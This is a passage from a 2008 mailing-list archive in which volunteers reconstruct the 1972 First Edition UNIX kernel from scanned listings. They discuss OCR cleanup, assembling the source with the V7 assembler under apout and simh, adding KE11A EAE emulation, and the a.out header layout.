From newsham at lava.net  Thu May  1 03:38:58 2008
From: newsham at lava.net (Tim Newsham)
Date: Wed, 30 Apr 2008 07:38:58 -1000 (HST)
Subject: [Unix-jun72] ocr'd e03
In-Reply-To: <3018.1209560511@mini>
References: <3018.1209560511@mini>
Message-ID: <Pine.BSI.4.64.0804300732470.20990@malasada.lava.net>

> I'm new to this (just discovered it - way cool!), so as an experiment I
> opened the scanned pdf and cut and pasted e03-01,02,03,04 into gimp,
> shrunk them to 3000x3000 and sent them to the tesseract web site.  It
> does an amazing job.  A little emacs work and the source looks good.
>
> Anyway, I know e03 is assigned to someone else, but they where not in
> the svn.  should I check them in?  (I just did it as an experiment, and
> I don't want to step on anyone;)

yes, please.  I'll drop a note to the person this was assigned to
and start talkign to current assignees who havent yet had a chance
to do work to see if any of it should be reclaimed.

> I'm also curious how we boot strap this.  In the end I assume we need a
> binary image which one of the sims can read.  I have 0.5 a mind to write
> a quick and dirty assembler which outputs a binary file...

It seems like we can build this using the V7 assembler, or an earlier
one such as the "as" in the 1972 bits that are around, using the
apout emulator.  I'm probably going to stick with the V7 assembler
for now due to the "mount" issues I ran across in the 1972 assembler.
For quick and dirty bootstrapping I was thinking of writing out
a simh script with a bunch of "deposit" commands to put the image
directly in memory.  At some point later we can figure out if it
would be possible to reconstruct the original boot process (documented
in the 1ed manuals).

> But I suppose it would be better to use the original as/as2.  Can this
> be run with apout? (I'd be curious to hear how people are doing it).

Yup.  I've already tried it on some of the completed sections.  The
one problem I ran across is that the "ux" section defines "mount"
as a label where the 1972 "as" predefines the "mount" system call.
This problem doesnt exist in the 7ed assembler because it doesnt
predefine the system calls.  So I wrote up a "sys.s" (in svn) with
the system call definitions and I left out the definition for "mount"
(which isnt referenced in the kernel code).

> I'm happy to keep plugging through the remaining un-ocr'd pages if no
> one screams, sending email first of course.

Great.  I'll poke at current assignees to see which section would be
most appropriate.

> -brad

Tim Newsham
http://www.thenewsh.com/~newsham/


From brad at heeltoe.com  Thu May  1 04:49:49 2008
From: brad at heeltoe.com (Brad Parker)
Date: Wed, 30 Apr 2008 14:49:49 -0400
Subject: [Unix-jun72] ocr'd e03
In-Reply-To: <Pine.BSI.4.64.0804300732470.20990@malasada.lava.net> 
References: <3018.1209560511@mini>
	<Pine.BSI.4.64.0804300732470.20990@malasada.lava.net>
Message-ID: <10921.1209581389@mini>


I checked in the missing pages from e3, e4 and e8.  I have not tried
to assemble them yet.

Looks like e1 has a few missing pages at the end but my "free time" is
gone for the day.

I'll try and fire up the v7 as later on.

-brad



From newsham at lava.net  Thu May  1 05:24:50 2008
From: newsham at lava.net (Tim Newsham)
Date: Wed, 30 Apr 2008 09:24:50 -1000 (HST)
Subject: [Unix-jun72] ocr'd e03
In-Reply-To: <10901.1209581283@mini>
References: <3018.1209560511@mini>
	<Pine.BSI.4.64.0804300732470.20990@malasada.lava.net>
	<10901.1209581283@mini>
Message-ID: <Pine.BSI.4.64.0804300919590.20990@malasada.lava.net>

> Can you show me how you are running it?  (and feel free to cc the list)

(I think its mentioned in an earlier post already).  I copy the
files to my 7ed system (make a tar, put it on a tape image, and
attach it in simh, then tar x to get contents).  Probably easier
if you're using apout and local filesystem...  I'm using the following
script (in my tools but not checked in because I'm using nonstandard
conv2):

    tools/rebuild
    (cd rebuilt; gtar -O -cf ../u.tar u?.s)
    ./conv2 -o tape.tm u.tar
    cp tape.tm ~/work/simh/unix-v7-4/run/

Anyway to assemble I run:

     as - sys.s u0.s u1.s ux.s

btw, I noticed some unicode characters in the files you committed.
I havent' had a chance to spend time editing it yet..  The ocr
often uses unicode for things like "-".

> I think there is a binary format.  I think I figured it out once and
> wrote something to turn an a.out into it.  hmmm.  I'll go digging.

a.out is so simple, it wouldnt be hard to reproduce if we had to.

> I checked in the missing pages from e3, e4 and e8.  I have not tried
> to assemble them yet, however.

I noticed that.  Thank you.

> -brad

Tim Newsham
http://www.thenewsh.com/~newsham/


From Hellwig.Geisse at mni.fh-giessen.de  Thu May  1 05:19:27 2008
From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse)
Date: Wed, 30 Apr 2008 21:19:27 +0200
Subject: [Unix-jun72] ocr'd e03
In-Reply-To: <10921.1209581389@mini>
References: <3018.1209560511@mini>
	<Pine.BSI.4.64.0804300732470.20990@malasada.lava.net>
	<10921.1209581389@mini>
Message-ID: <1209583167.5140.955.camel@papa>

On Wed, 2008-04-30 at 14:49 -0400, Brad Parker wrote:
> I checked in the missing pages from e3, e4 and e8.  I have not tried
> to assemble them yet.

Please forgive me, but I think it is not a brilliant
idea to check-in pages which obviously haven't been
proof-read. Especially typoes in the comments will
not even been noticed by the assembler.

> Looks like e1 has a few missing pages at the end but my "free time" is
> gone for the day.

Yes, these are part of my batch and will be submitted
when I had time to check them.

Hellwig



From newsham at lava.net  Thu May  1 05:52:22 2008
From: newsham at lava.net (Tim Newsham)
Date: Wed, 30 Apr 2008 09:52:22 -1000 (HST)
Subject: [Unix-jun72] ocr'd e03
In-Reply-To: <1209583167.5140.955.camel@papa>
References: <3018.1209560511@mini>
	<Pine.BSI.4.64.0804300732470.20990@malasada.lava.net>
	<10921.1209581389@mini> <1209583167.5140.955.camel@papa>
Message-ID: <Pine.BSI.4.64.0804300950320.20990@malasada.lava.net>

> Please forgive me, but I think it is not a brilliant
> idea to check-in pages which obviously haven't been
> proof-read. Especially typoes in the comments will
> not even been noticed by the assembler.

I think it is fine as long as they are not marked as having been
reviewed yet.  Other people can assist in the review process if
the imperfect files are in the SVN.  Hopefully by the end of this
process every file will have been reviewed by the original author
and at least one other person on a line-by-line basis.

> Hellwig

Tim Newsham
http://www.thenewsh.com/~newsham/


From aek at bitsavers.org  Thu May  1 06:26:06 2008
From: aek at bitsavers.org (Al Kossow)
Date: Wed, 30 Apr 2008 13:26:06 -0700
Subject: [Unix-jun72] Mar 72 kernel subroutine description
In-Reply-To: <Pine.BSI.4.64.0804300732470.20990@malasada.lava.net>
References: <3018.1209560511@mini>
	<Pine.BSI.4.64.0804300732470.20990@malasada.lava.net>
Message-ID: <4818D5DE.8000609@bitsavers.org>

The hand-written subroutine description document is now
up as
http://bitsavers.org/pdf/bellLabs/unix/Kernel_Subroutine_Descriptions_Mar72.pdf




From brad at heeltoe.com  Thu May  1 06:43:55 2008
From: brad at heeltoe.com (Brad Parker)
Date: Wed, 30 Apr 2008 16:43:55 -0400
Subject: [Unix-jun72] ocr'd e03
In-Reply-To: <Pine.BSI.4.64.0804300919590.20990@malasada.lava.net> 
References: <3018.1209560511@mini>
	<Pine.BSI.4.64.0804300732470.20990@malasada.lava.net>
	<10901.1209581283@mini>
	<Pine.BSI.4.64.0804300919590.20990@malasada.lava.net>
Message-ID: <14113.1209588235@mini>


Tim Newsham wrote:
>> Can you show me how you are running it?  (and feel free to cc the list)
>
>(I think its mentioned in an earlier post already).  I copy the
>files to my 7ed system (make a tar, put it on a tape image, and
>attach it in simh, then tar x to get contents).  Probably easier

Interesting.  and authentic! :-)  I am too lazy and used apout with
a v7 tree.  I used this script:

#!/bin/sh
export APOUT_ROOT=/backup/raid2/pdp11/v7
H=`pwd`
R=./rebuilt
W="$R/u0.s $R/u1.s $R/u2.s $R/u3.s $R/u4.s $R/u5.s $R/u6.s $R/u7.s $R/u8.s $R/u9.s"
apout /backup/raid2/pdp11/v7/bin/as ./sys1.s $W $R/ux.s


Which seems to work pretty well.

>btw, I noticed some unicode characters in the files you committed.

yes, sorry.  I think just committed fixed for all of them.

>The ocr often uses unicode for things like "-".

Yes, that's exactly what it did.  Took me a bit to figure that out since
they look very similar.

I also did a bunch of clean up of existing pages (probably should wait for
someone to review them but what the heck).  Mostly simple ocr errors.

I'm not sure we need to define the system traps; some (like mkdir) collide.
I turned off the def for now.

Also, some of the registers for math (mq, ac) don't seem to be defined
by the v7 as.  Not sure how that works to be honest (fp & mult are
beyond my pdp-11 knowledge).

It's closer now.  Still some editing to be done and some missing pages,
but closer.

-brad

Brad Parker
Heeltoe Consulting
+1-781-483-3101
http://www.heeltoe.com




From brad at heeltoe.com  Thu May  1 06:48:40 2008
From: brad at heeltoe.com (Brad Parker)
Date: Wed, 30 Apr 2008 16:48:40 -0400
Subject: [Unix-jun72] Mar 72 kernel subroutine description
In-Reply-To: <4818D5DE.8000609@bitsavers.org> 
References: <3018.1209560511@mini>
	<Pine.BSI.4.64.0804300732470.20990@malasada.lava.net>
	<4818D5DE.8000609@bitsavers.org>
Message-ID: <14276.1209588520@mini>


Al Kossow wrote:
>The hand-written subroutine description document is now
>up as
>http://bitsavers.org/pdf/bellLabs/unix/Kernel_Subroutine_Descriptions_Mar72.pd
>f

Wow.  That's an amazing document. 

Someone one from Bell Labs?

-brad


From aek at bitsavers.org  Thu May  1 08:46:48 2008
From: aek at bitsavers.org (Al Kossow)
Date: Wed, 30 Apr 2008 15:46:48 -0700
Subject: [Unix-jun72] Unix_Users_Talk_Notes_Jan73
Message-ID: <4818F6D8.8080301@bitsavers.org>

Notes from the Jan 73 unix internals talk

http://bitsavers.org/pdf/bellLabs/unix/Unix_Users_Talk_Notes_Jan73.pdf



From brad at heeltoe.com  Thu May  1 10:59:13 2008
From: brad at heeltoe.com (Brad Parker)
Date: Wed, 30 Apr 2008 20:59:13 -0400
Subject: [Unix-jun72] more edits
Message-ID: <18029.1209603553@mini>


I went through all the errors on the code checked in so far and made
edits consistent (I hope :-) with the pdf.

I also added the missing KE11A addresses (memory mapped EAE).

The remaining errors seem to be only due to missing pages.

-brad



From wkt at tuhs.org  Thu May  1 16:05:07 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Thu, 1 May 2008 16:05:07 +1000
Subject: [Unix-jun72] Fwd: Trying to restore 1972 UNIX
Message-ID: <20080501060507.GB36969@minnie.tuhs.org>

Guys, I got this message from Dennis.
	Warren
----- Forwarded message from Dennis Ritchie -----

Subject: Re: Trying to restore 1972 UNIX
Date: Thu, 1 May 2008 00:55:35 -0400

About the assembler, I am pretty sure that it's substantially
the same as that on the 5th edition tape, so it's likely
that a modified version, without the syscall definitions,
could be produced.

I have dug up another listing of the PDP-11 assembly languge
version, which seems to about contemporary with the
one you have.  The files mostly bear a copyright date
of 1972, but like other printouts from the time,
the datestamps only give month and day, not year.
They are generally from May.  It is post 11/45,
and has segmentation and floating-point support.

Incidentally, it doesn't use any of the system call  names
as such; 'read' is at sysread: and so on.

About assembling it, I'm pretty sure we just did
'as u?.s' and the a.out was ready.  This was before
make, after all.

  Dennis
----- End forwarded message -----

I replied and asked if we could get either a scan copy of the "other listing",
or if he could send a photocopy to Tim.

Cheers,
	Warren


From jam at magic.com  Thu May  1 17:40:29 2008
From: jam at magic.com (James A. Markevitch)
Date: Thu, 1 May 2008 00:40:29 -0700 (PDT)
Subject: [Unix-jun72] Update on UNIX V1 OCR
Message-ID: <200805010740.AAA12754@mist.magic.com>

I got a chance to do some work on the UNIX V1 sources this evening.  I
took the output of my OCR software and with a couple of hours of editing,
it successfully assembles with a MACRO11 assembler modified for "as" syntax,
with the only exception being that "fpsym" is undefined.  It looks like
the floating point emulation code is missing.

Since this OCR is independent of the other work that has been done, a
diff should provide an opportunity to fix any errors in the comments
that would not have been caught by the assembler.

Is there a place to upload this without a Google account?  The assembler
listing is about 416K.

I wrote much of the bootstrap code a few weeks ago, so it ought to be
straightforward to get this up and running under simulation.

James Markevitch


From jam at magic.com  Thu May  1 17:52:25 2008
From: jam at magic.com (James A. Markevitch)
Date: Thu, 1 May 2008 00:52:25 -0700 (PDT)
Subject: [Unix-jun72] Fwd: Trying to restore 1972 UNIX
Message-ID: <200805010752.AAA12784@mist.magic.com>

> I have dug up another listing of the PDP-11 assembly languge
> version, which seems to about contemporary with the
> one you have.  The files mostly bear a copyright date
> of 1972, but like other printouts from the time,
> the datestamps only give month and day, not year.
> They are generally from May.  It is post 11/45,
> and has segmentation and floating-point support.

Very cool!  (fpsym, presumably)

> I replied and asked if we could get either a scan copy of the "other listing",
> or if he could send a photocopy to Tim.

As usual, the key is a high resolution, high quality scan.  There is a huge
difference between 300dpi and 400dpi/600dpi for this old stuff, since the
signal to noise ratio is much better with the better scans.

This sounds like a broken record, but there was a 1200 page listing were
the first 400 pages were at 300dpi and the remaining 800 pages were at
400dpi.  When you zoomed in, the differences were astounding and the
OCR results reflected that (the person needed to do a lot of editing on
the first third of the document to get it to compile).

If someone can get me a hardcopy, I'll scan it at 600dpi, as I am sure
Al would, if Tim isn't set up to scan stuff like this.

James Markevitch


From brad at heeltoe.com  Thu May  1 20:46:38 2008
From: brad at heeltoe.com (Brad Parker)
Date: Thu, 01 May 2008 06:46:38 -0400
Subject: [Unix-jun72] Update on UNIX V1 OCR
In-Reply-To: <200805010740.AAA12754@mist.magic.com> 
References: <200805010740.AAA12754@mist.magic.com>
Message-ID: <23840.1209638798@mini>


"James A. Markevitch" wrote:
>
>Since this OCR is independent of the other work that has been done, a
>diff should provide an opportunity to fix any errors in the comments
>that would not have been caught by the assembler.
>
>Is there a place to upload this without a Google account?  The assembler
>listing is about 416K.

If you email me a tar file (or zip) I can put it on my website.  I can
receive email up to about 10mb. If it's larger than that I can set up
with an ftp account.

I'd also be happy to write a script to diff the files.

>I wrote much of the bootstrap code a few weeks ago, so it ought to be
>straightforward to get this up and running under simulation.

yes - I found a program I wrote a while back which takes an a.out and
turns it into a simh "load format".  With that it's pretty easy to load
and go in simh.

The v1 man pages explain the "bos" load setup and give the rf bootstrap
code.  It should be pretty easy to boot up a "cold" version which preps
the RF. I'm not sure about loading the file system from dectape however,
but who knows, even that might be possible.

-brad


From Hellwig.Geisse at mni.fh-giessen.de  Thu May  1 22:35:18 2008
From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse)
Date: Thu, 01 May 2008 14:35:18 +0200
Subject: [Unix-jun72] svn changes?
Message-ID: <1209645318.5140.974.camel@papa>

Has anything changed regarding read access
to the svn repository? My client answered

svn: PROPFIND request failed on '/svn/trunk'
svn: PROPFIND of '/svn/trunk': 502 Bad Gateway
(http://unix-jun72.googlecode.com)

when I wanted to do a regular 'svn update'
command.

Hellwig



From brad at heeltoe.com  Thu May  1 22:54:22 2008
From: brad at heeltoe.com (Brad Parker)
Date: Thu, 01 May 2008 08:54:22 -0400
Subject: [Unix-jun72] svn changes?
In-Reply-To: <1209645318.5140.974.camel@papa> 
References: <1209645318.5140.974.camel@papa>
Message-ID: <26098.1209646462@mini>


Hellwig Geisse wrote:
>Has anything changed regarding read access
>to the svn repository? My client answered
>
>svn: PROPFIND request failed on '/svn/trunk'
>svn: PROPFIND of '/svn/trunk': 502 Bad Gateway
>(http://unix-jun72.googlecode.com)
>
>when I wanted to do a regular 'svn update'
>command.

I found the same thing.  I assumed it was a transient
error from google.

It seems to have cleared now.

-brad


From brad at heeltoe.com  Thu May  1 23:04:42 2008
From: brad at heeltoe.com (Brad Parker)
Date: Thu, 01 May 2008 09:04:42 -0400
Subject: [Unix-jun72] svn changes?
In-Reply-To: <26098.1209646462@mini> 
References: <1209645318.5140.974.camel@papa> <26098.1209646462@mini>
Message-ID: <26275.1209647082@mini>


Just for fun I took the latest svn, assembled it with the v7 as
and ran it through my "a.out -> simh load file" converter.

It runs until it hits the first instruction which touches a KE11A EAE
register.  That fails and it panics (takes an exception since there's
nothing there on the unibus)

Via email I asked Tim about EAE support in simh, since apout has it and
the code claims he added it to simh, but I can't find it.

I could try e11, but I'd prefer to use simh.

-brad




From Hellwig.Geisse at mni.fh-giessen.de  Thu May  1 23:32:33 2008
From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse)
Date: Thu, 01 May 2008 15:32:33 +0200
Subject: [Unix-jun72] svn changes?
In-Reply-To: <26098.1209646462@mini>
References: <1209645318.5140.974.camel@papa>  <26098.1209646462@mini>
Message-ID: <1209648754.5140.977.camel@papa>

On Thu, 2008-05-01 at 08:54 -0400, Brad Parker wrote:
> I found the same thing.  I assumed it was a transient
> error from google.
> 
> It seems to have cleared now.

Yes, it was transient; all is well again.
Thanks for the info.

Hellwig



From Hellwig.Geisse at mni.fh-giessen.de  Fri May  2 00:25:01 2008
From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse)
Date: Thu, 01 May 2008 16:25:01 +0200
Subject: [Unix-jun72] svn changes?
In-Reply-To: <26275.1209647082@mini>
References: <1209645318.5140.974.camel@papa> <26098.1209646462@mini>
	<26275.1209647082@mini>
Message-ID: <1209651902.5140.981.camel@papa>

On Thu, 2008-05-01 at 09:04 -0400, Brad Parker wrote:
> Via email I asked Tim about EAE support in simh, since apout has it and
> the code claims he added it to simh, but I can't find it.

Wasn't this called the "EIS" option? If I remember
well, simh enabled that by default if you choose the
CPU to be an 11/40.

Hellwig



From brad at heeltoe.com  Fri May  2 00:41:35 2008
From: brad at heeltoe.com (Brad Parker)
Date: Thu, 01 May 2008 10:41:35 -0400
Subject: [Unix-jun72] svn changes?
In-Reply-To: <1209651902.5140.981.camel@papa> 
References: <1209645318.5140.974.camel@papa> <26098.1209646462@mini>
	<26275.1209647082@mini> <1209651902.5140.981.camel@papa>
Message-ID: <27771.1209652895@mini>


Hellwig Geisse wrote:
>On Thu, 2008-05-01 at 09:04 -0400, Brad Parker wrote:
>> Via email I asked Tim about EAE support in simh, since apout has it and
>> the code claims he added it to simh, but I can't find it.
>
>Wasn't this called the "EIS" option? If I remember
>well, simh enabled that by default if you choose the
>CPU to be an 11/40.

I think EIS is similar in function but not the same.

We need the KE11A, which maps some registers into the unibus space.  It
performs some of the same functions as EIS, but in a different way - it
does not extend the instruction space like EIS does.

I may be wrong, but that is my understanding.  EIS is supported, as is
the FP instructions and CIS, but I can't find any code which pretends to
be a KE11A in simh.  It's definitely in apout.

-brad





From milov at uwlax.edu  Fri May  2 01:31:58 2008
From: milov at uwlax.edu (Milo Velimirovic)
Date: Thu, 1 May 2008 10:31:58 -0500
Subject: [Unix-jun72] svn changes?
In-Reply-To: <1209651902.5140.981.camel@papa>
References: <1209645318.5140.974.camel@papa> <26098.1209646462@mini>
	<26275.1209647082@mini> <1209651902.5140.981.camel@papa>
Message-ID: <AF2E6BBD-3433-4BCA-854B-473AC8C1E1FE@uwlax.edu>


On May 1, 2008, at 9:25 AM, Hellwig Geisse wrote:

> On Thu, 2008-05-01 at 09:04 -0400, Brad Parker wrote:
>> Via email I asked Tim about EAE support in simh, since apout has it  
>> and
>> the code claims he added it to simh, but I can't find it.
>
> Wasn't this called the "EIS" option? If I remember
> well, simh enabled that by default if you choose the
> CPU to be an 11/40.

No... EIS is not the same as EAE, though simh does include EIS in its  
11/40 configuration.

 From memory:

EAE is the "Extended Arithmetic Element" which provided multiply,  
divide and shift capabilities through registers in the I/O space.
See Dennis Ritchie's "Odd Comments and Strange Doings in Unix" the  
pertinent item is "A hardware story" at the the end of the document,  
cached here: <http://64.233.167.104/search?q=cache:Cp9qctiIuLcJ:www.cs.bell-labs.com/who/dmr/odd.html+dmr+eae&hl=en&ct=clnk&cd=4&gl=us 
 > (It seems the link provided by Google to dmr's website is down...)

EIS is the Extended Instruction Set, which on the pdp11/40 (and lsi11)  
went hand in hand with FIS, the Floating Instruction Set.

See a pdp11 processor handbook for all the details.

--
Milo Velimirović,  Unix Computer Network Administrator
608.785.6618 Office -  608.386.2817 Cell
University of Wisconsin - La Crosse
La Crosse, Wisconsin 54601 USA   43 48 48 N 91 13 53 W





From Hellwig.Geisse at mni.fh-giessen.de  Fri May  2 01:56:26 2008
From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse)
Date: Thu, 01 May 2008 17:56:26 +0200
Subject: [Unix-jun72] svn changes?
In-Reply-To: <AF2E6BBD-3433-4BCA-854B-473AC8C1E1FE@uwlax.edu>
References: <1209645318.5140.974.camel@papa> <26098.1209646462@mini>
	<26275.1209647082@mini> <1209651902.5140.981.camel@papa>
	<AF2E6BBD-3433-4BCA-854B-473AC8C1E1FE@uwlax.edu>
Message-ID: <1209657386.5140.988.camel@papa>

On Thu, 2008-05-01 at 10:31 -0500, Milo Velimirovic wrote:
> See a pdp11 processor handbook for all the details.

I have an 11/40 processor handbook available,
so I have good documentation of the EIS option.
What I'm lacking is equally good information
on the EAE...

Do you have a link?

Hellwig



From brad at heeltoe.com  Fri May  2 02:09:54 2008
From: brad at heeltoe.com (Brad Parker)
Date: Thu, 01 May 2008 12:09:54 -0400
Subject: [Unix-jun72] more corrections
Message-ID: <29658.1209658194@mini>


I made some more minor corrections; turns out the commands in e00-01
around "4;4" are wrong, those lines are needed or the IOT dispatch
vector ends up in the wrong place.

I suspect, in the end, most of the "hand written" corrections should
ignored.

Right now the svn runs and ends up in the idle loop.  It dispatches the
first system call (sys exec).  I'm not 100% sure but I think it works.

(still some missing pages but I don't think the code hits them yet)

Not sure why it stops in the idle loop; maybe missing hardware.

I had to add KE11A support to simh;  I mostly copied the code from
apout.

I'll put a tar file on my web site with the modified simh source.

-brad




From jam at magic.com  Fri May  2 02:36:42 2008
From: jam at magic.com (James A. Markevitch)
Date: Thu, 1 May 2008 09:36:42 -0700 (PDT)
Subject: [Unix-jun72] Update on UNIX V1 OCR
Message-ID: <200805011636.JAA15648@mist.magic.com>

> >Since this OCR is independent of the other work that has been done, a
> >diff should provide an opportunity to fix any errors in the comments
> >that would not have been caught by the assembler.
> >
> >Is there a place to upload this without a Google account?  The assembler
> >listing is about 416K.
> 
> If you email me a tar file (or zip) I can put it on my website.  I can
> receive email up to about 10mb. If it's larger than that I can set up
> with an ftp account.

A compressed .tar.gz won't be very large.  I can send it along when I get
home late this evening.  It's got 100% of the kernel source pages, so
it should be able to fill in any holes.

> I'd also be happy to write a script to diff the files.

"diff -b" works fine, as does tkdiff :-).

James Markevitch


From tfb at tfeb.org  Fri May  2 02:23:06 2008
From: tfb at tfeb.org (Tim Bradshaw)
Date: Thu, 1 May 2008 17:23:06 +0100
Subject: [Unix-jun72] ocr'd e03
In-Reply-To: <Pine.BSI.4.64.0804300732470.20990@malasada.lava.net>
References: <3018.1209560511@mini>
	<Pine.BSI.4.64.0804300732470.20990@malasada.lava.net>
Message-ID: <8B81EC5E-A625-4485-81BB-85C481CB67B9@tfeb.org>

On 30 Apr 2008, at 18:38, Tim Newsham wrote:
>
> yes, please.  I'll drop a note to the person this was assigned to
> and start talkign to current assignees who havent yet had a chance
> to do work to see if any of it should be reclaimed.

FWIW that was me, and clearly was rash to agree given I have no time  
and/or am lazy.  Sorry!

--tim


From aek at bitsavers.org  Fri May  2 02:57:07 2008
From: aek at bitsavers.org (Al Kossow)
Date: Thu, 01 May 2008 09:57:07 -0700
Subject: [Unix-jun72] svn changes?
In-Reply-To: <1209657386.5140.988.camel@papa>
References: <1209645318.5140.974.camel@papa>
	<26098.1209646462@mini>	<26275.1209647082@mini>
	<1209651902.5140.981.camel@papa>	<AF2E6BBD-3433-4BCA-854B-473AC8C1E1FE@uwlax.edu>
	<1209657386.5140.988.camel@papa>
Message-ID: <4819F663.2020902@bitsavers.org>

Hellwig Geisse wrote:
> What I'm lacking is equally good information
> on the EAE...

EAE was a unibus option. I'll see if I have anything scanned on it.



From newsham at lava.net  Fri May  2 03:03:48 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 07:03:48 -1000 (HST)
Subject: [Unix-jun72] more corrections
In-Reply-To: <29658.1209658194@mini>
References: <29658.1209658194@mini>
Message-ID: <Pine.BSI.4.64.0805010657460.20990@malasada.lava.net>

> I made some more minor corrections; turns out the commands in e00-01
> around "4;4" are wrong, those lines are needed or the IOT dispatch
> vector ends up in the wrong place.
>
> I suspect, in the end, most of the "hand written" corrections should
> ignored.

I'm suspecting the opposite.. I went through all of the comments in
notes.txt about hand written corrections and read through the code to
see if they make sense or not and it seems like all of the corrections
did make sense in the code and the original code that they replaced
did not.  I updated the code to reflect this and added comments to
the notes file.

btw, there are still a bunch of unresolved symbols in the low address
vector tables.. I took a look at the assembly memory dump last night
(and also committed code in tools to convert the a.out to a bunch
of simh deposit commands).

> I had to add KE11A support to simh;  I mostly copied the code from
> apout.

This discussion of hardware is making me wonder -- does this nail down
the hardware?  The 1ed manuals mention tht they ran on a 24kbyte
pdp 11/20, but that they were eying an 11/45.  My reading of the code
was making me lean towards the original 11/20 configuration, but it
sounds like some of these features might be present in the 11/40 or
11/45?

> I'll put a tar file on my web site with the modified simh source.

speaking of modifying simh, we may have to map one of the similar
serial devices in at the dc11 address to support ttys.  simh doesn't
support the DC-11, but when I asked on the simh mailing list someone
mentioned that one of the existing devices is very similar with
less support for modem control lines.

> -brad

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Fri May  2 03:10:10 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 07:10:10 -1000 (HST)
Subject: [Unix-jun72] more corrections
In-Reply-To: <29658.1209658194@mini>
References: <29658.1209658194@mini>
Message-ID: <Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>

> I made some more minor corrections; turns out the commands in e00-01
> around "4;4" are wrong, those lines are needed or the IOT dispatch
> vector ends up in the wrong place.

Hmm.. those "/" comment characters are definitely not hand written
in.  There are hand written comments that state what address things
should land at.  I'm a bit confused how this could happen with
those comment characters in place, though, so removing them does
sound like its the right thing to do.  By the way, you removed the
leading comment characters but did not add comment characters
after the entry but before the text comments that follow them.
ie: "4;4   init by copy" should be "4;4 / init by copy".

> -brad

Tim Newsham
http://www.thenewsh.com/~newsham/


From aek at bitsavers.org  Fri May  2 03:10:43 2008
From: aek at bitsavers.org (Al Kossow)
Date: Thu, 01 May 2008 10:10:43 -0700
Subject: [Unix-jun72] more corrections
In-Reply-To: <Pine.BSI.4.64.0805010657460.20990@malasada.lava.net>
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010657460.20990@malasada.lava.net>
Message-ID: <4819F993.4030007@bitsavers.org>

Tim Newsham wrote:

> This discussion of hardware is making me wonder -- does this nail down
> the hardware?  The 1ed manuals mention tht they ran on a 24kbyte
> pdp 11/20, but that they were eying an 11/45.  My reading of the code
> was making me lean towards the original 11/20 configuration, but it
> sounds like some of these features might be present in the 11/40 or
> 11/45?

Use of EAE is HIGHLY unlikely on anything after the 11/20.
There was a better solution (EIS) for the 11/40 and forward.

The note for the Jan 73 talk mentions they were still working on writing
the 11/45 version, which puts the release well after the code you're working
with.

Still looking for EAE docs. May have to scan an 11/20 handbook to get it.



From brad at heeltoe.com  Fri May  2 03:19:13 2008
From: brad at heeltoe.com (Brad Parker)
Date: Thu, 01 May 2008 13:19:13 -0400
Subject: [Unix-jun72] more corrections
In-Reply-To: <Pine.BSI.4.64.0805010657460.20990@malasada.lava.net> 
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010657460.20990@malasada.lava.net>
Message-ID: <30873.1209662353@mini>


Tim Newsham wrote:
>> I made some more minor corrections; turns out the commands in e00-01
>> around "4;4" are wrong, those lines are needed or the IOT dispatch
>> vector ends up in the wrong place.
>>
>> I suspect, in the end, most of the "hand written" corrections should
>> ignored.
>
>I'm suspecting the opposite.. I went through all of the comments in
>notes.txt about hand written corrections and read through the code to
>see if they make sense or not and it seems like all of the corrections
>did make sense in the code and the original code that they replaced
>did not.  I updated the code to reflect this and added comments to
>the notes file.

Ok, I may well be confused.

Before I took the comments the IOT vector was zero.  After I removed
them the IOT vector (34) was correct.

Perhaps the code wants to be loaded at 014 instead of 0.
I put the comments back in - I'll try changing where I load.

>btw, there are still a bunch of unresolved symbols in the low address
>vector tables..

I thought only fpsym was undefined in those vectors.

>> I had to add KE11A support to simh;  I mostly copied the code from
>> apout.
>
>This discussion of hardware is making me wonder -- does this nail down
>the hardware?  The 1ed manuals mention tht they ran on a 24kbyte
>pdp 11/20, but that they were eying an 11/45.  My reading of the code
>was making me lean towards the original 11/20 configuration, but it
>sounds like some of these features might be present in the 11/40 or
>11/45?

I sure looks like they used an 11/20 with a KE11A board.

>speaking of modifying simh, we may have to map one of the similar
>serial devices in at the dc11 address to support ttys.  simh doesn't
>support the DC-11, but when I asked on the simh mailing list someone
>mentioned that one of the existing devices is very similar with
>less support for modem control lines.

I can do that.  Are there docs on the DC-11?

-brad



From brad at heeltoe.com  Fri May  2 03:22:53 2008
From: brad at heeltoe.com (Brad Parker)
Date: Thu, 01 May 2008 13:22:53 -0400
Subject: [Unix-jun72] more corrections
In-Reply-To: <Pine.BSI.4.64.0805010707340.20990@malasada.lava.net> 
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>
Message-ID: <30972.1209662573@mini>


Tim Newsham wrote:
>> I made some more minor corrections; turns out the commands in e00-01
>> around "4;4" are wrong, those lines are needed or the IOT dispatch
>> vector ends up in the wrong place.
>
>Hmm.. those "/" comment characters are definitely not hand written
>in.  There are hand written comments that state what address things
>should land at.  I'm a bit confused how this could happen with
>those comment characters in place, though, so removing them does
>sound like its the right thing to do.

now you've convinced me it's not :-)

I wonder... hmmm.  if the V1 a.out header where 12 bytes long, then
everything would just automagically work.

The v7 a.out header is 16 bytes long; but could the v1 a.out header
have been 12 bytes long?

-brad


From jam at magic.com  Fri May  2 03:44:38 2008
From: jam at magic.com (James A. Markevitch)
Date: Thu, 1 May 2008 10:44:38 -0700 (PDT)
Subject: [Unix-jun72] more corrections
Message-ID: <200805011744.KAA15939@mist.magic.com>

> I wonder... hmmm.  if the V1 a.out header where 12 bytes long, then
> everything would just automagically work.

If you look at sysexec, you will see that the "magic number" for the
a.out header is 000405.  That is an instruction that jumps over the
first 12 bytes.

James Markevitch


From brad at heeltoe.com  Fri May  2 03:47:33 2008
From: brad at heeltoe.com (Brad Parker)
Date: Thu, 01 May 2008 13:47:33 -0400
Subject: [Unix-jun72] more corrections
In-Reply-To: <Pine.BSI.4.64.0805010726040.20990@malasada.lava.net> 
